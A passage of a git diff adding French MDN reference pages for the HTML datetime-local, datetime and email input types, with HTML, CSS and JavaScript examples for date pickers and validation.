+<p>La date/heure minimale qui peut être saisie dans le contrôle. Toute date/heure saisie antérieure à celle-ci ne respectera pas <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">les contraintes de validation</a>. Si la valeur de l'attribut <code>min</code> n'est pas une chaîne de caractères qui suit le format <code>"yyyy-MM-ddThh:mm"</code>, il n'y aura pas de valeur minimale.</p>
+
+<p>La valeur de cet attribut doit être une date antérieure ou égale à celle indiquée par l'attribut <code>max</code>.</p>
+
+<h3 id="htmlattrdefstep">{{htmlattrdef("step")}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/number", "step-include")}}</p>
+
+<p>Pour les champs <code>datetime-local</code>, la valeur de l'attribut <code>step</code> est exprimée en secondes avec un facteur d'amplification de 1000 (pour passer des millisecondes aux secondes). La valeur par défaut de <code>step</code> est 60 (soit 1 minute ou 60 000 millisecondes).</p>
+
+<p><em>À l'heure où ces lignes sont écrites, la signification de la valeur <code>any</code> pour l'attribut <code>step</code> pour les champs <code>datetime-local</code> n'est pas certaine. Cette information sera mise à jour dès que possible.</em></p>
+
+<h2 id="Utiliser_les_contrôles_datetime-local">Utiliser les contrôles <code>datetime-local</code></h2>
+
+<p>Ces contrôles sont pratiques : ils permettent d'utiliser une interface simple pour sélectionner une date et une heure et en plus, ils normalisent la valeur saisie avant de l'envoyer au sereveur, quelle que soit la locale de l'utilisateur. Toutefois, il existe actuellement des problèmes liés à la prise en charge partielle de <code>&lt;input type="datetime-local"&gt;</code> dans les différents navigateurs.</p>
+
+<p>Dans les exemples suivants, nous verrons certains cas d'utilisation plus complexes puis nous traiterons de l'adaptation nécessaire en fonction de la prise en charge des navigateurs.</p>
+
+<h3 id="Utilisation_simple_de_datetime-local">Utilisation simple de <code>datetime-local</code></h3>
+
+<p>Dans sa forme la plus simple, <code>&lt;input type="datetime-local"&gt;</code> peut s'utilisere avec un élément <code>&lt;input&gt;</code> et un élément {{htmlelement("label")}} comme ceci :</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+    &lt;label for="party"&gt;Veuillez choisir une date et une heure pour la fête :&lt;/label&gt;
+    &lt;input id="party" type="datetime-local" name="partydate"&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Utilisation_simple_de_datetime-local', 600, 40)}}</p>
+
+<h3 id="Paramétrer_des_dates_et_heures_minimalesmaximales">Paramétrer des dates et heures minimales/maximales</h3>
+
+<p>Les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} permettent de restreindre la fenêtre de dates qu'il est possible de choisir. Dans l'exemple qui suit, on indique une date/heure minimale au <code>2017-06-01T08:30</code> et une date maximale au <code>2017-06-30T16:30</code>:</p>
+
+<pre class="brush: html notranslate">  &lt;form&gt;
+    &lt;label for="party"&gt;Veuillez choisir une date et une heure pour la fête :&lt;/label&gt;
+    &lt;input id="party" type="datetime-local" name="partydate" min="2017-06-01T08:30" max="2017-06-30T16:30"&gt;
+  &lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Paramétrer_des_dates_et_heures_minimales/maximales', 600, 40)}}</p>
+
+<p>Par conséquent :</p>
+
+<ul>
+ <li>Seuls les jours de juin 2017 peuvent être sélectionnés et seules les heures entre 08h30 et 16h30 pourront être sélectionnées..</li>
+ <li>Selon le navigateur utilisé, il est possible ou non de sélectionner des heures invalides (cf. {{anch("Validation")}}).</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong> : L'attribut {{htmlattrxref("step", "input")}} devrait pouvoir être utilisé afin de faire varier l'incrément, en jours, pour sélectionner la date (par exemple afin de ne pouvoir sélectionner que les samedi). En revanche, à l'heure où nous rédigeons cet article, aucune implémentation ne semble proposer cette fonctionnalité.</p>
+</div>
+
+<h3 id="Contrôler_la_taille_du_champ">Contrôler la taille du champ</h3>
+
+<p><code>&lt;input type="datetime-local"&gt;</code> ne prend pas en charge des attributs tels que {{htmlattrxref("size", "input")}}. Il est nécessaire d'utiliser <a href="/fr/docs/Web/CSS">CSS</a> pour les problèmes relatifs au dimensionnement.</p>
+
+<h3 id="Paramétrer_le_fuseau_horaire">Paramétrer le fuseau horaire</h3>
+
+<p>Les champs <code>datetime-local</code> ne permettent pas d'indiquer le fuseau horaire de la date/heure utilisée. Cette caractéristique était disponible pour les champs de type <code><a href="/fr/docs/Web/HTML/Element/input/datetime">datetime</a></code> qui est désormais obsolète (retiré de la spécification). Ce type de champ a été retiré en raison d'un manque d'implémentation de la part des navigateurs et des problèmes relatifs à l'ergonomie. Il est plus simple d'avoir un contrôle séparé pour indiquer le fuseau horaire.</p>
+
+<p>Ainsi, si vous créez un système où l'utilisateur est déjà connecté et que le fuseau horaire est déjà connu, celui-ci peut être fourni via un champ de type <code><a href="/fr/docs/Web/HTML/Element/input/hidden">hidden</a></code>. Par exemple :</p>
+
+<pre class="brush: html notranslate">&lt;input type="hidden" id="timezone" name="timezone" value="-08:00"&gt;</pre>
+
+<p>Sinon, on peut proposer la sélection d'un fuseau horaire grâce à un élément {{htmlelement("select")}} :</p>
+
+<pre class="brush: html notranslate">&lt;select name="timezone_offset" id="timezone-offset" class="span5"&gt;
+    &lt;option value="-12:00"&gt;(GMT -12:00) Eniwetok, Kwajalein&lt;/option&gt;
+    &lt;option value="-11:00"&gt;(GMT -11:00) Midway Island, Samoa&lt;/option&gt;
+    &lt;option value="-10:00"&gt;(GMT -10:00) Hawaii&lt;/option&gt;
+    &lt;option value="-09:50"&gt;(GMT -9:30) Taiohae&lt;/option&gt;
+    &lt;option value="-09:00"&gt;(GMT -9:00) Alaska&lt;/option&gt;
+    &lt;option value="-08:00"&gt;(GMT -8:00) Pacific Time (US &amp;amp; Canada)&lt;/option&gt;
+
+  ...
+
+&lt;/select&gt;</pre>
+
+<p>Dans ces deux situations, le fuseau horaire et la date sont transmis au serveur séparément (c'est côté serveur que le choix de la représentation pour le stockage est effectué).</p>
+
+<div class="note">
+<p><strong>Note</strong> : Le fragment de code précédent est tiré de <a href="https://gist.github.com/nodesocket/3919205">Tous les fuseaux horaires du monde dans un élément <code>&lt;select&gt;</code></a>.</p>
+</div>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Par défaut, <code>&lt;input type="datetime-local"&gt;</code> n'applique pas de validation aux valeurs saisies. C'est l'interface utilisateur du contrôle qui ne permet pas de saisir autre chose qu'une date et une heure (ce qui est utile) mais il est toujours possible de ne saisir aucune valeur ou de saisir une valeur invalide (le 32 avril par exemple).</p>
+
+<p>Les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} permettent de restreindre les dates disponibles et {{htmlattrxref("required", "input")}} rend la date obligatoire. Dans ces cas, les navigateurs afficheront un message d'erreur si on essaie d'envoyer une date en dehors de l'intervalle ou une date vide.</p>
+
+<p>Prenons un exemple avec des dates mini/maxi et le champ obligatoire :</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+    &lt;div&gt;
+        &lt;label for="party"&gt;Veuillez choisir une date et une heure pour la fête (obligatoire, entre le 1er juin, 8h30 et le 30 juin, 16h30) :&lt;/label&gt;
+        &lt;input id="party" type="datetime-local" name="partydate" min="2017-06-01T08:30" max="2017-06-30T16:30" required&gt;
+        &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+        &lt;input type="submit" value="Réserver !"&gt;
+    &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Si vous essayez d'envoyer le formulaire avec une date incomplète ou en dehors de l'intervalle indiqué, le navigateur affichera une erreur. Voici le résultat :</p>
+
+<p>{{EmbedLiveSample('Validation', 600, 120)}}</p>
+
+<p>Voici une capture d'écran illustrant un message d'erreur dans un navigateur qui prend en charge cette fonctionnalité :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14957/datetime-local-error.png" style="display: block; height: 100px; margin: 0px auto; width: 558px;"></p>
+
+<p>Vous trouverez ensuite la feuille de style CSS utilisée pour l'exemple. On utilise les pseudo-classes {{cssxref(":valid")}} et {{cssxref(":invalid")}} afin de mettre en forme le contrôle selon que sa valeur est valide ou non. Les icônes indicatives sont placées dans un élément {{htmlelement("span")}} séparé car, sous Chrome, le contenu généré automatiquement est placé à l'intériur du contrôle et ne peut pas être affiché/mis en forme efficacement.</p>
+
+<pre class="brush: css notranslate">div {
+    margin-bottom: 10px;
+    display: flex;
+    align-items: center;
+}
+
+label {
+  display: inline-block;
+  width: 300px;
+}
+
+input:invalid+span:after {
+    content: '✖';
+    padding-left: 5px;
+}
+
+input:valid+span:after {
+    content: '✓';
+    padding-left: 5px;
+}</pre>
+
+<div class="warning">
+<p><strong>Important </strong>: La validation des données du formulaire HTML par le navigateur ne doit pas remplacer la validation des données reçues sur le serveur ! En effet, il est tout à fait possible pour quelqu'un de modifier le document HTML afin d'outrepasser ces contraintes (voire d'envoyer directement des données au serveur sans passer par le formulaire HTML). Si les mécanismes, côté serveur, échouent à valider les données, cela pourrait avoir des conséquences néfastes sur le stockage ou la sécurité de l'application.</p>
+</div>
+
+<h2 id="Gérer_la_prise_en_charge_des_navigateurs">Gérer la prise en charge des navigateurs</h2>
+
+<p>Comme indiqué ci-avant, le principal problème qu'on rencontre avec ces contrôles est la prise en charge hétérogène des différents navigateurs : seuls Opera et Chrome implémentent cette fonctionnalité parmi les navigateurs de bureau et la plupart des navigateurs mobiles la prennent en charge. Voici, par exemple, l'interface utilisateur du sélecteur <code>datetime-local</code> de Firefox pour Android :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14951/datetime-local-fxa.png" style="display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<p>Les navigateurs qui n'implémentent pas cette fonctionnalité afficheront un contrôle de saisie textuelle. Toutefois, cela entraîne des problème de cohérence d'interface graphique d'une part et de représentation des données d'autre part.</p>
+
+<p>C'est ce second problème qui est le plus important. Comme nous l'avons mentionné avant, la valeur d'un contrôle <code>datetime-local</code> est toujours normalisée sous la forme <code>yyyy-mm-ddThh:mm</code>. En revanche, avec un champ texte, le navigateur n'utilise pas de formatage particulier et il existe différentes façon d'écrire des dates et heures selon les langues et les régions. On peut par exemple avoir les formats suivants :</p>
+
+<ul>
+ <li><code>ddmmyyyy</code></li>
+ <li><code>dd/mm/yyyy</code></li>
+ <li><code>mm/dd/yyyy</code></li>
+ <li><code>dd-mm-yyyy</code></li>
+ <li><code>mm-dd-yyyy</code></li>
+ <li><code>mm-dd-yyyy hh:mm</code> (heure exprimée sur 12 heures)</li>
+ <li><code>mm-dd-yyyy HH:mm</code> (heure exprimée sur 24 heures)</li>
+ <li>etc.</li>
+</ul>
+
+<p>Une façon de contourner ce problème est de placer un attribut {{htmlattrxref("pattern", "input")}} dans l'élément <code>&lt;input type="</code><code>datetime-local"&gt;</code>. Bien que cet élément n'utilise pas cet attribut, s'il est converti en <code>&lt;input type="text"&gt;</code> par le navigateur, le motif sera alors utilisé. Vous pouvez par exemple essayer le code suivant dans un navigateur qui ne prend pas en charge <code>&lt;input type="datetime-local"&gt;</code> :</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+     &lt;label for="party"&gt;Veuillez choisir une date et une heure pour la fête (obligatoire, entre le 1er juin, 8h30 et le 30 juin, 16h30) :&lt;/label&gt;
+    &lt;input id="party" type="datetime-local" name="partydate"
+           min="2017-06-01T08:30" max="2017-06-30T16:30"
+           pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit" value="Réserver !"&gt;
+  &lt;/div&gt;
+  &lt;input type="hidden" id="timezone" name="timezone" value="-08:00"&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Gérer_la_prise_en_charge_des_navigateurs', 600, 100)}}</p>
+
+<p>Si vous essayer de soumettre ce formulaire, vous pourrez voir que le navigateur affiche un message d'erreur et met en avant le champ invalide si la valeur saisie ne respecte pas la forme <code>nnnn-nn-nnTnn:nn</code> avec <code>n</code> qui est un chiffre entre 0 et 9. Bien entendu, cela n'empêche pas de saisir des dates/heures invalides ou mal formatées.</p>
+
+<p>De plus, comment l'utilisateur doit-il comprendre la règle de format qui lui est imposée pour saisir une date et une heure ?</p>
+
+<p>Bref, il y a toujours un problème.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+}
+
+input:invalid + span {
+  position: relative;
+}
+
+input:invalid + span:after {
+  content: '✖';
+  position: absolute;
+  right: -18px;
+}
+
+input:valid + span {
+  position: relative;
+}
+
+input:valid + span:after {
+  content: '✓';
+  position: absolute;
+  right: -18px;
+}</pre>
+</div>
+
+<p>Actuellement, la meilleure façon de gérer les dates/heures d'une façon homogène pour les différents navigateurs est d'utiliser différents contrôles (via des éléments {{htmlelement("select")}}) pour sélectionner l'année, le jour, le mois, la date et l'heure. Il existe également des bibliothèques JavaScript telles que <a href="https://jqueryui.com/datepicker/">le sélecteur de date jQuery</a> et <a href="https://timepicker.co/">le sélecteur d'heure jQuery</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on crée deux ensembles d'éléments pour sélectionner une date et une heure : un sélecteur natif <code>&lt;input type="datetime-local"&gt;</code> d'une part et un ensemble de cinq éléments {{htmlelement("select")}} d'autre part pour les navigateurs qui ne prennent pas en charge le contrôle natif.</p>
+
+<p>{{EmbedLiveSample('Exemples', 600, 140)}}</p>
+
+<p>Voici le fragment de code HTML utilisé :</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div class="nativeDateTimePicker"&gt;
+    &lt;label for="party"&gt;Veuillez sélectionner une date et une heure pour la fête :&lt;/label&gt;
+    &lt;input type="datetime-local" id="party" name="bday"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;p class="fallbackLabel"&gt;Veuillez sélectionner une date et une heure pour la fête :&lt;/p&gt;
+  &lt;div class="fallbackDateTimePicker"&gt;
+    &lt;div&gt;
+      &lt;span&gt;
+        &lt;label for="day"&gt;Jour :&lt;/label&gt;
+        &lt;select id="day" name="day"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="month"&gt;Mois :&lt;/label&gt;
+        &lt;select id="month" name="month"&gt;
+          &lt;option selected&gt;Janvier&lt;/option&gt;
+          &lt;option&gt;Février&lt;/option&gt;
+          &lt;option&gt;Mars&lt;/option&gt;
+          &lt;option&gt;Avril&lt;/option&gt;
+          &lt;option&gt;Mai&lt;/option&gt;
+          &lt;option&gt;Juin&lt;/option&gt;
+          &lt;option&gt;Juillet&lt;/option&gt;
+          &lt;option&gt;Août&lt;/option&gt;
+          &lt;option&gt;Septembre&lt;/option&gt;
+          &lt;option&gt;Octobre&lt;/option&gt;
+          &lt;option&gt;Novembre&lt;/option&gt;
+          &lt;option&gt;Décembre&lt;/option&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="year"&gt;Année :&lt;/label&gt;
+        &lt;select id="year" name="year"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;span&gt;
+        &lt;label for="hour"&gt;Heure :&lt;/label&gt;
+        &lt;select id="hour" name="hour"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="minute"&gt;Minute :&lt;/label&gt;
+        &lt;select id="minute" name="minute"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Les mois disponibles sont codés de façon statique (ce sont toujours les mêmes). En revanche, les valeurs pour les jours et les années sont générées dynamiquement selon le mois et l'année courante (voir les commentaires du script ci-après). Les heures et les minutes sont également générées dynamiquement.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+</div>
+
+<p>Une partie intéressante du code est celle où on détecte la prise en charge de la fonctionnalité. Pour cela, dans le script, on crée un nouvel élément {{htmlelement("input")}} auquel on attribut le type <code>datetime-local</code> puis on vérifie son type juste après. Pour les navigateurs qui ne prennent pas en charge ce type de contrôle, le type aura changé et sera <code>text</code>. Si c'est le cas, on masque le contrôle natif et on utilise l'interface utilisateur alternative (composée avec les éléments ({{htmlelement("select")}})).</p>
+
+<pre class="brush: js notranslate">// On définit les différentes variables
+var nativePicker = document.querySelector('.nativeDateTimePicker');
+var fallbackPicker = document.querySelector('.fallbackDateTimePicker');
+var fallbackLabel = document.querySelector('.fallbackLabel');
+
+var yearSelect = document.querySelector('#year');
+var monthSelect = document.querySelector('#month');
+var daySelect = document.querySelector('#day');
+var hourSelect = document.querySelector('#hour');
+var minuteSelect = document.querySelector('#minute');
+
+// Initialement, on masque le sélecteur non-natif
+fallbackPicker.style.display = 'none';
+fallbackLabel.style.display = 'none';
+
+// On teste si l'élément &lt;input type="date"&gt;
+// se transforme en &lt;input type="text"&gt;
+var test = document.createElement('input');
+test.type = 'date';
+// Si c'est le cas, cela signifie que l'élément
+// n'est pas pris en charge et
+if(test.type === 'text') {
+  // On masque le sélecteur natif et on affiche
+  // le sélecteur avec les &lt;select&gt;
+  nativePicker.style.display = 'none';
+  fallbackPicker.style.display = 'block';
+  fallbackLabel.style.display = 'block';
+
+  // On affiche les jours, années, heures
+  // et minutes de façon dynamique
+  populateDays(monthSelect.value);
+  populateYears();
+  populateHours();
+  populateMinutes();
+}
+
+function populateDays(month) {
+  // On supprime les éléments &lt;option&gt; pour l'élément
+  // &lt;select&gt; des jours afin de pouvoir ajouter les prochains
+  while(daySelect.firstChild){
+    daySelect.removeChild(daySelect.firstChild);
+  }
+
+  // On crée une variable afin de contenir le nombre
+  // de jours à afficher
+  var dayNum;
+
+  // 31 ou 30 jours ?
+  if(month === 'Janvier' || month === 'Mars' || month === 'Mai' || month === 'Juillet' || month === 'Août' || month === 'Octobre' || month === 'Décembre') {
+    dayNum = 31;
+  } else if(month === 'Avril' || month === 'Juin' || month === 'Septembre' || month === 'Novembre') {
+    dayNum = 30;
+  } else {
+  // Si le mois est février, on calcule si l'année est bissextile
+    var year = yearSelect.value;
+    var leap = new Date(year, 1, 29).getMonth() == 1;
+    leap ? dayNum = 29 : dayNum = 28;
+  }
+
+  // on ajoute le bon nombre de jours dans autant
+  // d'éléments &lt;option&gt; pour l'élément &lt;select&gt;
+  // pour la journée
+  for(i = 1; i &lt;= dayNum; i++) {
+    var option = document.createElement('option');
+    option.textContent = i;
+    daySelect.appendChild(option);
+  }
+
+  // Si le jour précédent a déjà été défini on utilise
+  // la valeur de ce jour pour daySelect afin d'éviter de
+  // réinitialiser le jour lorsqu'on change l'année
+  if(previousDay) {
+    daySelect.value = previousDay;
+
+    // Si le jour précédent correspond au dernier jour d'un mois
+    // et que le mois sélectionné possède moins de jours (par
+    // exemple en février)
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 1;
+    }
+
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 2;
+    }
+
+    if(daySelect.value === "") {
+      daySelect.value = previousDay - 3;
+    }
+  }
+}
+
+function populateYears() {
+  // On obtient l'année courante
+  var date = new Date();
+  var year = date.getFullYear();
+
+  // On affiche l'année courante et les 100 années
+  // précédentes pour l'élément &lt;select&gt; destiné à
+  // stocker l'année
+  for(var i = 0; i &lt;= 100; i++) {
+    var option = document.createElement('option');
+    option.textContent = year-i;
+    yearSelect.appendChild(option);
+  }
+}
+
+function populateHours() {
+  // on crée 24 valeurs pour l'élément &lt;select&gt;
+  // associé aux heures
+  for(var i = 0; i &lt;= 23; i++) {
+    var option = document.createElement('option');
+    option.textContent = (i &lt; 10) ? ("0" + i) : i;
+    hourSelect.appendChild(option);
+  }
+}
+
+function populateMinutes() {
+  // On crée 60 valeurs pour l'élément &lt;select&gt;
+  // associé aux minutes
+  for(var i = 0; i &lt;= 59; i++) {
+    var option = document.createElement('option');
+    option.textContent = (i &lt; 10) ? ("0" + i) : i;
+    minuteSelect.appendChild(option);
+  }
+}
+
+// Lorsque la valeur du mois ou de l'année est modifiée
+// on relance populateDays()
+yearSelect.onchange = function() {
+  populateDays(monthSelect.value);
+}
+
+monthSelect.onchange = function() {
+  populateDays(monthSelect.value);
+}
+
+// On conserve le jour sélectionné
+var previousDay;
+
+// On met à jour la journée utilisé précédemment
+// (voir la fin de populateDays() pour voir où
+// est utilisée cette valeur)
+daySelect.onchange = function() {
+  previousDay = daySelect.value;
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Attention, certaines années peuvent contenir 53 semaines ! (cf. <a href="https://en.wikipedia.org/wiki/ISO_week_date#Weeks_per_year">cet article Wikipédia</a>) Il vous faudra prendre cela en compte si vous souhaitez développer des applications réelles.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente une date et une heure (selon le fuseau horaire local) ou bien une chaîne de caractères vide.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} et {{domxref("HTMLElement/input_event", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}} et {{htmlattrxref("step", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>list</code>, <code>value</code>, <code>valueAsNumber</code>.</td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#local-date-and-time-state-(type=datetime-local)', '&lt;input type="datetime-local"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html##local-date-and-time-state-(type=datetime-local)', '&lt;input type="datetime-local"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-datetime-local")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément générique {{HTMLElement("input")}} ainsi que l'interface DOM qu'il implémente : {{domxref("HTMLInputElement")}}</li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/date">&lt;input type="date"&gt;</a></code> and <code><a href="/fr/docs/Web/HTML/Element/input/time">&lt;input type="time"&gt;</a></code></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs#Sélection_de_date_et_d'horaire">Un tutoriel sur les sélecteurs de date et d'heure</a></li>
+ <li><a href="/fr/docs/Web/HTML/Formats_date_heure_HTML">Les formats de date et d'heure utilisés en HTML</a></li>
+</ul>
diff --git a/files/fr/web/html/element/input/datetime/index.html b/files/fr/web/html/element/input/datetime/index.html
new file mode 100644
index 0000000000..e3ddf4012c
--- /dev/null
+++ b/files/fr/web/html/element/input/datetime/index.html
@@ -0,0 +1,24 @@
+---
+title: <input type="datetime">
+slug: Web/HTML/Element/Input/datetime
+tags:
+  - Element
+  - HTML
+  - Input
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/input/datetime
+---
+<div>{{HTMLRef}}{{obsolete_header}}</div>
+
+<p>L'élément HTML <code>&lt;input type="datetime"&gt;</code> représentait un contrôle permettant de saisir une date, une heure (avec heures, minutes, secondes et fractions de seconde) ainsi qu'un fuseau horaire. <strong>Cette fonctionnalité a été <a href="https://github.com/whatwg/html/issues/336">retirée de la spécification HTML WHATWG</a></strong> et n'est plus prise en charge par les navigateurs.</p>
+
+<p>Afin de remplacer cette fonctionnalité, les navigateurs implémentent (ou développent) l'élément <code>&lt;input&gt;</code> de type <code><a href="/fr/docs/Web/HTML/Element/input/datetime-local">datetime-local</a></code> qui doit être utilisé à la place. Le format utilisé pour ces champs est décrit dans <a href="/fr/docs/Web/HTML/Formats_date_heure_HTML#Représentation_des_dates_et_heures_universelles">cette section de l'article sur les formats</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}} element</li>
+ <li><a href="/fr/docs/Web/HTML/Formats_date_heure_HTML">Les formats de date et d'heure utilisés en HTML</a></li>
+</ul>
diff --git a/files/fr/web/html/element/input/email/index.html b/files/fr/web/html/element/input/email/index.html
new file mode 100644
index 0000000000..d250ab460a
--- /dev/null
+++ b/files/fr/web/html/element/input/email/index.html
@@ -0,0 +1,437 @@
+---
+title: <input type="email">
+slug: Web/HTML/Element/Input/email
+tags:
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/email
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Les éléments {{HTMLElement("input")}} dont l'attribut <code>type</code> vaut <code><strong>"email"</strong></code> permettent à un utilisateur de saisir et d'éditer une adresse mail ou, si l'attribut {{htmlattrxref("multiple", "input")}} est indiqué, une liste d'adresses mail. La valeur saisie est automatiquement validée afin de vérifier que le champ est vide ou que l'adresse (ou la liste d'adresses) est correcte.</span> Les pseudo-classes CSS {{cssxref(":valid")}} et {{cssxref(":invalid")}} sont appliquées automatiquement selon le cas.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-email.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<div class="note">
+<p><strong>Note :</strong> Les navigateurs qui ne prennent pas en charge le type <code>"email"</code> emploieront un élément <code>&lt;input&gt;</code> <code><a href="/fr/docs/Web/HTML/Element/input/text">"text"</a></code> à la place.</p>
+</div>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>La valeur d'un tel élément {{HTMLElement("input")}}, contenue dans l'attribut s {{htmlattrxref("value", "input")}}, contient une chaîne de caractères qui est automatiquement validée afin de vérifier que c'est une adresse électronique valide. Pour être plus précis, trois formes sont considérées valides :</p>
+
+<ol>
+ <li>Une chaîne de caractères vide ("") qui indique que l'utilisateur n'a saisi aucune valeur ou que la valeur a été retirée.</li>
+ <li>Une adresse électronique bien-formée. Cela ne signifie pas que l'adresse en question existe mais qu'elle est correctement formatée. Autrement dit, elle respecte une structure <code>"nom@domaine.tld"</code>. Cette règle est un peu plus complexe (cf. {{anch("Validation")}} pour l'algorithme exact).</li>
+ <li>Si et seulement si l'attribut {{htmlattrxref("multiple", "input")}} est indiqué, la valeur peut être une liste d'adresses électroniques correctes, séparées par des virgules. Chaque blanc situé avant et après chaque adresse sera retiré.</li>
+</ol>
+
+<p>Pour plus de détails, se référer à la section {{anch("Validation")}} sur la façon dont les adresses mails sont validées.</p>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs communs à l'ensemble des éléments {{HTMLElement("input")}}, les champs de type <code>email</code> prennent en charge les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("maxlength")}}</code></td>
+   <td>Le nombre de caractères maximal qui peut être écrit dans ce champ.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("minlength")}}</code></td>
+   <td>Le nombre de caractères minimal qui peut être écrit dans ce champ pour qu'il soit considéré comme valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("multiple")}}</code></td>
+   <td>Un attribut booléen qui indique si plusieurs adresses électroniques peuvent être saisies et séparées par des virgules.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("pattern")}}</code></td>
+   <td>Une expression rationnelle à laquelle doit correspondre le texte saisi pour être valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("placeholder")}}</code></td>
+   <td>Une valeur d'exemple qui sera affichée lorsqu'aucune valeur n'est saisie.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un attribut booléen qui indique si le contenu du champ est en lecture seule.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("size")}}</code></td>
